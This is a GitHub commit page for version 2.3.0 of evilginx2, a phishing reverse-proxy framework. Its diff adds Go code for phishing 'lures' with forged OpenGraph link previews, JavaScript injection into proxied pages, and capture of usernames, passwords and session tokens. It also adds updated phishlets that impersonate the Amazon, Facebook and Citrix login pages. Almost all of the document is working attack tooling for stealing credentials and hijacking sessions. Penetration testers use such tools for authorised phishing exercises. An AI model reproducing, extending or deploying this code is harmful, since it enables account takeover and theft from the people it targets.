Skip to content

Commit

Permalink
2.3.0 released
Browse files Browse the repository at this point in the history
kgretzky committed Jan 22, 2019
1 parent faad8ef commit c521dd9
Showing 17 changed files with 1,028 additions and 160 deletions.
21 changes: 21 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
2.3.0
- Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets.
- Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info).
- Added OpenGraph settings for lures, allowing to create enticing content for link previews.
- Added ability to inject custom Javascript into proxied pages.
- Injected Javascript can be customized with values of custom parameters, specified in lure options.
- Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page.

2.2.1
- Fixed: `type` with value `json` was not correctly activated when set under `credentials`.

2.2.0
- Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured.
- Regular expression groups working with `sub_filters`.
- Phishlets are now listed in a table.
- Restructured phishlet YAML config file to be easier to understand (phishlets from previous versions need to be updated to new format).
- Phishlet fields are now selectively lowercased and validated upon loading to prevent surprises.
- All search fields in the phishlet are now regular expressions by default (remember about proper escaping!).
- Added option to capture custom POST arguments additionally to credentials. Check `custom` field under `credentials`.
- Added feature to inject custom POST arguments to requests. Useful when forcing users to tick that "Remember me" checkbox.
- Removed 'name' variable from phishlets. Phishlet name is now determined solely based on the filename.
2 changes: 1 addition & 1 deletion core/banner.go
Original file line number Diff line number Diff line change
@@ -8,7 +8,7 @@ import (
)

const (
VERSION = "2.2.2"
VERSION = "2.3.0"
)

func putAsciiArt(s string) {
82 changes: 82 additions & 0 deletions core/config.go
Original file line number Diff line number Diff line change
@@ -11,6 +11,18 @@ import (
"github.com/spf13/viper"
)

type Lure struct {
Path string `mapstructure:"path" yaml:"path"`
RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
Info string `mapstructure:"info" yaml:"info"`
OgTitle string `mapstructure:"og_title" yaml:"og_title"`
OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
OgUrl string `mapstructure:"og_url" yaml:"og_url"`
Params map[string]string `mapstructure:"params" yaml:"params"`
}

type Config struct {
siteDomains map[string]string
baseDomain string
@@ -24,6 +36,7 @@ type Config struct {
verificationParam string
verificationToken string
redirectUrl string
lures []*Lure
cfg *viper.Viper
}

@@ -37,6 +50,7 @@ const (
CFG_VERIFICATION_PARAM = "verification_key"
CFG_VERIFICATION_TOKEN = "verification_token"
CFG_REDIRECT_URL = "redirect_url"
CFG_LURES = "lures"
)

const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
@@ -48,6 +62,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
sitesHidden: make(map[string]bool),
phishlets: make(map[string]*Phishlet),
phishletNames: []string{},
lures: []*Lure{},
}

c.cfg = viper.New()
@@ -109,6 +124,8 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
if c.redirectUrl == "" {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
c.lures = []*Lure{}
c.cfg.UnmarshalKey(CFG_LURES, &c.lures)

return c, nil
}
@@ -308,6 +325,71 @@ func (c *Config) AddPhishlet(site string, pl *Phishlet) {
c.phishlets[site] = pl
}

func (c *Config) AddLure(site string, l *Lure) {
c.lures = append(c.lures, l)
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}

func (c *Config) SetLure(index int, l *Lure) error {
if index >= 0 && index < len(c.lures) {
c.lures[index] = l
} else {
return fmt.Errorf("index out of bounds: %d", index)
}
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
return nil
}

func (c *Config) DeleteLure(index int) error {
if index >= 0 && index < len(c.lures) {
c.lures = append(c.lures[:index], c.lures[index+1:]...)
} else {
return fmt.Errorf("index out of bounds: %d", index)
}
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
return nil
}

func (c *Config) DeleteLures(index []int) []int {
tlures := []*Lure{}
di := []int{}
for n, l := range c.lures {
if !intExists(n, index) {
tlures = append(tlures, l)
} else {
di = append(di, n)
}
}
if len(di) > 0 {
c.lures = tlures
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}
return di
}

func (c *Config) GetLure(index int) (*Lure, error) {
if index >= 0 && index < len(c.lures) {
return c.lures[index], nil
} else {
return nil, fmt.Errorf("index out of bounds: %d", index)
}
}

func (c *Config) GetLureByPath(site string, path string) (*Lure, error) {
for _, l := range c.lures {
if l.Phishlet == site {
if l.Path == path {
return l, nil
}
}
}
return nil, fmt.Errorf("lure for path '%s' not found", path)
}

func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
pl, ok := c.phishlets[site]
if !ok {
354 changes: 275 additions & 79 deletions core/http_proxy.go

Large diffs are not rendered by default.

258 changes: 233 additions & 25 deletions core/phishlet.go
Original file line number Diff line number Diff line change
@@ -17,6 +17,7 @@ type ProxyHost struct {
domain string
handle_session bool
is_landing bool
auto_filter bool
}

type SubFilter struct {
@@ -66,6 +67,18 @@ type ForcePost struct {
tp string `mapstructure:"type"`
}

type LoginUrl struct {
domain string `mapstructure:"domain"`
path string `mapstructure:"path"`
}

type JsInject struct {
trigger_domains []string `mapstructure:"trigger_domains"`
trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
trigger_params []string `mapstructure:"trigger_params"`
script string `mapstructure:"script"`
}

type Phishlet struct {
Site string
Name string
@@ -83,14 +96,17 @@ type Phishlet struct {
cfg *Config
custom []PostField
forcePost []ForcePost
login LoginUrl
js_inject []JsInject
}

type ConfigProxyHost struct {
PhishSub *string `mapstructure:"phish_sub"`
OrigSub *string `mapstructure:"orig_sub"`
Domain *string `mapstructure:"domain"`
Session bool `mapstructure:"session"`
IsLanding bool `mapstructure:"is_landing"`
PhishSub *string `mapstructure:"phish_sub"`
OrigSub *string `mapstructure:"orig_sub"`
Domain *string `mapstructure:"domain"`
Session bool `mapstructure:"session"`
IsLanding bool `mapstructure:"is_landing"`
AutoFilter *bool `mapstructure:"auto_filter"`
}

type ConfigSubFilter struct {
@@ -137,6 +153,18 @@ type ConfigForcePost struct {
Type *string `mapstructure:"type"`
}

type ConfigLogin struct {
Domain *string `mapstructure:"domain"`
Path *string `mapstructure:"path"`
}

type ConfigJsInject struct {
TriggerDomains *[]string `mapstructure:"trigger_domains"`
TriggerPaths *[]string `mapstructure:"trigger_paths"`
TriggerParams []string `mapstructure:"trigger_params"`
Script *string `mapstructure:"script"`
}

type ConfigPhishlet struct {
Name string `mapstructure:"name"`
ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
@@ -146,6 +174,8 @@ type ConfigPhishlet struct {
Credentials *ConfigCredentials `mapstructure:"credentials"`
ForcePosts *[]ConfigForcePost `mapstructure:"force_post"`
LandingPath *[]string `mapstructure:"landing_path"`
LoginItem *ConfigLogin `mapstructure:"login"`
JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
}

func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
@@ -209,6 +239,12 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
"- change `min_ver` to at least `2.2.0`\n" +
"you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
}
if !p.isVersionHigherEqual(&p.Version, "2.3.0") {
return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
"- replace `landing_path` with `login` section\n" +
"- change `min_ver` to at least `2.3.0`\n" +
"you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)")
}

fp := ConfigPhishlet{}
err = c.Unmarshal(&fp)
@@ -234,8 +270,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if fp.Credentials.Password == nil {
return fmt.Errorf("credentials: missing `password` section")
}
if fp.LandingPath == nil {
return fmt.Errorf("missing `landing_path` section")
if fp.LoginItem == nil {
return fmt.Errorf("missing `login` section")
}

for _, ph := range *fp.ProxyHosts {
@@ -248,8 +284,36 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if ph.Domain == nil {
return fmt.Errorf("proxy_hosts: missing `domain` field")
}
p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding)
auto_filter := true
if ph.AutoFilter != nil {
auto_filter = *ph.AutoFilter
}
p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding, auto_filter)
}
if len(p.proxyHosts) == 0 {
return fmt.Errorf("proxy_hosts: list cannot be empty")
}
session_set := false
for _, ph := range p.proxyHosts {
if ph.handle_session {
session_set = true
break
}
}
if !session_set {
p.proxyHosts[0].handle_session = true
}
landing_set := false
for _, ph := range p.proxyHosts {
if ph.is_landing {
landing_set = true
break
}
}
if !landing_set {
p.proxyHosts[0].is_landing = true
}

for _, sf := range *fp.SubFilters {
if sf.Hostname == nil {
return fmt.Errorf("sub_filters: missing `triggers_on` field")
@@ -271,6 +335,23 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly)
}
if fp.JsInject != nil {
for _, js := range *fp.JsInject {
if js.TriggerDomains == nil {
return fmt.Errorf("js_inject: missing `trigger_domains` field")
}
if js.TriggerPaths == nil {
return fmt.Errorf("js_inject: missing `trigger_paths` field")
}
if js.Script == nil {
return fmt.Errorf("js_inject: missing `script` field")
}
err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, *js.Script)
if err != nil {
return err
}
}
}
for _, at := range *fp.AuthTokens {
err := p.addAuthTokens(at.Domain, at.Keys)
if err != nil {
@@ -329,6 +410,40 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
p.username.key_s = *fp.Credentials.Username.Key
p.password.key_s = *fp.Credentials.Password.Key

if fp.LoginItem.Domain == nil {
return fmt.Errorf("login: missing `domain` field")
}
if fp.LoginItem.Path == nil {
return fmt.Errorf("login: missing `path` field")
}
p.login.domain = *fp.LoginItem.Domain
if p.login.domain == "" {
return fmt.Errorf("login: `domain` field cannot be empty")
}
login_domain_ok := false
for _, h := range p.proxyHosts {
var check_host string
if h.orig_subdomain != "" {
check_host = h.orig_subdomain + "."
}
check_host += h.domain
if check_host == p.login.domain {
login_domain_ok = true
break
}
}
if !login_domain_ok {
return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
}

p.login.path = *fp.LoginItem.Path
if p.login.path == "" {
p.login.path = "/"
}
if p.login.path[0] != '/' {
p.login.path = "/" + p.login.path
}

if fp.Credentials.Custom != nil {
for _, cp := range *fp.Credentials.Custom {
var err error
@@ -415,8 +530,9 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
}

p.landing_path = *fp.LandingPath

if fp.LandingPath != nil {
p.landing_path = *fp.LandingPath
}
return nil
}

@@ -431,7 +547,7 @@ func (p *Phishlet) GetPhishHosts() []string {
return ret
}

func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) {
func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error) {
var ret []string
host := p.cfg.GetBaseDomain()
for _, h := range p.proxyHosts {
@@ -452,25 +568,95 @@ func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) {
}

for _, u := range p.landing_path {
sep := "?"
for n := len(u) - 1; n >= 0; n-- {
switch u[n] {
case '/':
break
case '?':
sep = "&"
break
purl := "https://" + host + u
if inc_token {
sep := "?"
for n := len(u) - 1; n >= 0; n-- {
switch u[n] {
case '/':
break
case '?':
sep = "&"
break
}
}
purl += sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
if b64_param != "" {
purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
}
}
purl := "https://" + host + u + sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
if b64_param != "" {
purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
}
ret = append(ret, purl)
}
return ret, nil
}

func (p *Phishlet) GetLureUrl(path string) (string, error) {
var ret string
host := p.cfg.GetBaseDomain()
for _, h := range p.proxyHosts {
if h.is_landing {
phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
if ok {
host = combineHost(h.phish_subdomain, phishDomain)
}
}
}
ret = "https://" + host + path
return ret, nil
}

func (p *Phishlet) GetLoginUrl() string {
return "https://" + p.login.domain + p.login.path
}

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) {
for _, js := range p.js_inject {
host_matched := false
for _, h := range js.trigger_domains {
if h == strings.ToLower(hostname) {
host_matched = true
break
}
}
if host_matched {
path_matched := false
for _, p_re := range js.trigger_paths {
if p_re.MatchString(path) {
path_matched = true
break
}
}
if path_matched {
params_matched := false
if params != nil {
pcnt := 0
for k, _ := range *params {
if stringExists(k, js.trigger_params) {
pcnt += 1
}
}
if pcnt == len(js.trigger_params) {
params_matched = true
}
} else {
params_matched = true
}

if params_matched {
script := js.script
if params != nil {
for k, v := range *params {
script = strings.Replace(script, "{"+k+"}", v, -1)
}
}
return script, nil
}
}
}
}
return "", fmt.Errorf("script not found")
}

func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
ret := make(map[string]map[string]string)
td := make(map[string]string)
@@ -489,15 +675,15 @@ func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[str
return ret
}

func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool) {
func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) {
phish_subdomain = strings.ToLower(phish_subdomain)
orig_subdomain = strings.ToLower(orig_subdomain)
domain = strings.ToLower(domain)
if !p.domainExists(domain) {
p.domains = append(p.domains, domain)
}

p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing})
p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
}

func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool) {
@@ -540,6 +726,28 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
return nil
}

func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
js := JsInject{}
for _, d := range trigger_domains {
js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
}
for _, d := range trigger_paths {
re, err := regexp.Compile(d)
if err == nil {
js.trigger_paths = append(js.trigger_paths, re)
} else {
return fmt.Errorf("js_inject: %v", err)
}
}
for _, d := range trigger_params {
js.trigger_params = append(js.trigger_params, strings.ToLower(d))
}
js.script = script

p.js_inject = append(p.js_inject, js)
return nil
}

func (p *Phishlet) domainExists(domain string) bool {
for _, d := range p.domains {
if domain == d {
38 changes: 21 additions & 17 deletions core/session.go
Original file line number Diff line number Diff line change
@@ -5,27 +5,31 @@ import (
)

type Session struct {
Id string
Name string
Username string
Password string
Custom map[string]string
Tokens map[string]map[string]*database.Token
RedirectURL string
IsDone bool
IsAuthUrl bool
Id string
Name string
Username string
Password string
Custom map[string]string
Tokens map[string]map[string]*database.Token
RedirectURL string
IsDone bool
IsAuthUrl bool
RedirectCount int
PhishLure *Lure
}

func NewSession(name string) (*Session, error) {
s := &Session{
Id: GenRandomToken(),
Name: name,
Username: "",
Password: "",
Custom: make(map[string]string),
RedirectURL: "",
IsDone: false,
IsAuthUrl: false,
Id: GenRandomToken(),
Name: name,
Username: "",
Password: "",
Custom: make(map[string]string),
RedirectURL: "",
IsDone: false,
IsAuthUrl: false,
RedirectCount: 0,
PhishLure: nil,
}
s.Tokens = make(map[string]map[string]*database.Token)

9 changes: 9 additions & 0 deletions core/shared.go
Original file line number Diff line number Diff line change
@@ -16,6 +16,15 @@ func stringExists(s string, sa []string) bool {
return false
}

func intExists(i int, ia []int) bool {
for _, k := range ia {
if i == k {
return true
}
}
return false
}

func removeString(s string, sa []string) []string {
for i, k := range sa {
if s == k {
331 changes: 330 additions & 1 deletion core/terminal.go
Original file line number Diff line number Diff line change
@@ -131,6 +131,12 @@ func (t *Terminal) DoWork() {
if err != nil {
log.Error("phishlets: %v", err)
}
case "lures":
cmd_ok = true
err := t.handleLures(args[1:])
if err != nil {
log.Error("lures: %v", err)
}
case "help":
cmd_ok = true
if len(args) == 2 {
@@ -429,7 +435,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
urls, err := pl.GetLandingUrls(args[2])
urls, err := pl.GetLandingUrls(args[2], true)
if err != nil {
return err
}
@@ -443,13 +449,276 @@ func (t *Terminal) handlePhishlets(args []string) error {
out += hblue.Sprint(u)
n += 1
}
log.Warning("`get-url` is deprecated - please use `lures` with custom `path` instead")
t.output("%s\n", out)
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handleLures(args []string) error {
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
//hiwhite := color.New(color.FgHiWhite)
hcyan := color.New(color.FgHiCyan)
cyan := color.New(color.FgCyan)
dgray := color.New(color.FgHiBlack)

pn := len(args)

if pn == 0 {
// list lures
t.output("%s", t.sprintLures())
return nil
}
if pn > 0 {
switch args[0] {
case "create":
if pn == 2 {
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
Params: make(map[string]string),
}
t.cfg.AddLure(args[1], l)
log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "get-url":
if pn == 2 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
pl, err := t.cfg.GetPhishlet(l.Phishlet)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
bhost, ok := t.cfg.GetSiteDomain(pl.Site)
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
purl, err := pl.GetLureUrl(l.Path)
if err != nil {
return err
}
out := hiblue.Sprint(purl)
t.output("%s\n", out)
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "edit":
if pn == 4 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[2]))
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
val := args[3]
do_update := false

switch args[1] {
case "path":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l.Path = u.EscapedPath()
if len(l.Path) == 0 || l.Path[0] != '/' {
l.Path = "/" + l.Path
}
} else {
l.Path = "/"
}
do_update = true
log.Info("path = '%s'", l.Path)
case "redirect_url":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: redirect url must be absolute")
}
l.RedirectUrl = u.String()
} else {
l.RedirectUrl = ""
}
do_update = true
log.Info("redirect_url = '%s'", l.RedirectUrl)
case "phishlet":
_, err := t.cfg.GetPhishlet(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l.Phishlet = val
do_update = true
log.Info("phishlet = '%s'", l.Phishlet)
case "info":
l.Info = val
do_update = true
log.Info("info = '%s'", l.Info)
case "og_title":
l.OgTitle = val
do_update = true
log.Info("og_title = '%s'", l.OgTitle)
case "og_desc":
l.OgDescription = val
do_update = true
log.Info("og_desc = '%s'", l.OgDescription)
case "og_image":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: image url must be absolute")
}
l.OgImageUrl = u.String()
} else {
l.OgImageUrl = ""
}
do_update = true
log.Info("og_image = '%s'", l.OgImageUrl)
case "og_url":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: site url must be absolute")
}
l.OgUrl = u.String()
} else {
l.OgUrl = ""
}
do_update = true
log.Info("og_url = '%s'", l.OgUrl)
case "params":
sp := strings.Index(val, "=")
if sp == -1 {
return fmt.Errorf("edit: to set a custom parameter, use format 'key=value' or 'key=' if you want to remove a custom parameter")
}
k := val[:sp]
v := val[sp+1:]
if v != "" {
l.Params[k] = v
log.Info("params: '%s' = '%s'", k, v)
} else {
delete(l.Params, k)
log.Info("params: deleted '%s'", k)
}
do_update = true
}
if do_update {
err := t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
} else {
return fmt.Errorf("incorrect number of arguments")
}
case "delete":
if pn == 2 {
if len(t.cfg.lures) == 0 {
break
}
if args[1] == "all" {
di := []int{}
for n, _ := range t.cfg.lures {
di = append(di, n)
}
if len(di) > 0 {
rdi := t.cfg.DeleteLures(di)
for _, id := range rdi {
log.Info("deleted lure with ID: %d", id)
}
}
return nil
} else {
rc := strings.Split(args[1], ",")
di := []int{}
for _, pc := range rc {
pc = strings.TrimSpace(pc)
rd := strings.Split(pc, "-")
if len(rd) == 2 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
for i := b_id; i <= e_id; i++ {
di = append(di, i)
}
} else if len(rd) == 1 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
di = append(di, b_id)
}
}
if len(di) > 0 {
rdi := t.cfg.DeleteLures(di)
for _, id := range rdi {
log.Info("deleted lure with ID: %d", id)
}
}
return nil
}
}
return fmt.Errorf("incorrect number of arguments")
default:
id, err := strconv.Atoi(args[0])
if err != nil {
return err
}
l, err := t.cfg.GetLure(id)
if err != nil {
return err
}

keys := []string{"phishlet", "path", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
log.Printf("\n%s\n", AsRows(keys, vals))

if len(l.Params) > 0 {
var ckeys []string = []string{"key", "value"}
var cvals [][]string
for k, v := range l.Params {
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
}
log.Printf("custom parameters:\n%s\n", AsTable(ckeys, cvals))
}
return nil
}
}

return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
@@ -482,6 +751,25 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("sessions", []string{"delete"}, "delete <id>", "delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25)")
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")

h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
readline.PcItem("edit", readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params")),
readline.PcItem("delete", readline.PcItem("all"))))
h.AddSubCommand("lures", nil, "", "show all create lures")
h.AddSubCommand("lures", nil, "<id>", "show details of a lure with a given <id>")
h.AddSubCommand("lures", []string{"create"}, "create <phishlet>", "creates new lure for given <phishlet>")
h.AddSubCommand("lures", []string{"delete"}, "delete <id>", "deletes lure with given <id>")
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit path <id> <path>", "sets custom url <path> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url <id> <redirect_url>", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet <id> <phishlet>", "change the phishlet, the lure with a given <id> applies to")
h.AddSubCommand("lures", []string{"edit", "info"}, "edit info <id> <info>", "set personal information to describe a lure with a given <id> (display only)")
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title <id> <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit og_desc <id> <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit og_image <id> <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url <id> <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "params"}, "edit params <id> <key=value>", "adds, edits or removes custom parameters (used in javascript injections), for a lure with a given <id>")

h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))

@@ -590,6 +878,47 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
return AsTable(cols, rows)
}

func (t *Terminal) sprintLures() string {
higreen := color.New(color.FgHiGreen)
//hired := color.New(color.FgHiRed)
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
hiwhite := color.New(color.FgHiWhite)
hcyan := color.New(color.FgHiCyan)
//n := 0
cols := []string{"id", "phishlet", "path", "redirect_url", "og", "params", "info"}
var rows [][]string
for n, l := range t.cfg.lures {
var og string
if l.OgTitle != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgDescription != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgImageUrl != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgUrl != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
params := "0"
if len(l.Params) > 0 {
params = hiwhite.Sprint(strconv.Itoa(len(l.Params)))
}
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), og, params, l.Info})
}
return AsTable(cols, rows)
}

func (t *Terminal) phishletPrefixCompleter(args string) []string {
return t.cfg.GetPhishletNames()
}
7 changes: 4 additions & 3 deletions phishlets/amazon.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@customsync'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true}
- {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false}
@@ -23,5 +23,6 @@ credentials:
key: 'password'
search: '(.*)'
type: 'post'
landing_path:
- '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0'
login:
domain: 'www.amazon.com'
path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0'
7 changes: 4 additions & 3 deletions phishlets/citrix.yaml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
name: 'Citrix Portal'
author: '@424f424f'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'subdomainhere', orig_sub: 'subdomainhere', domain: 'domainhere', session: true, is_landing: true}
sub_filters:
@@ -17,5 +17,6 @@ credentials:
key: 'passwd'
search: '(.*)'
type: 'post'
landing_path:
- '/vpn/index.html'
login:
domain: 'subdomainhere.domainhere'
path: '/vpn/index.html'
7 changes: 4 additions & 3 deletions phishlets/facebook.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@mrgretzky'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true}
- {phish_sub: 'm', orig_sub: 'm', domain: 'facebook.com', session: true, is_landing: false}
@@ -25,5 +25,6 @@ credentials:
key: 'pass'
search: '(.*)'
type: 'post'
landing_path:
- '/login.php'
login:
domain: 'www.facebook.com'
path: '/login.php'
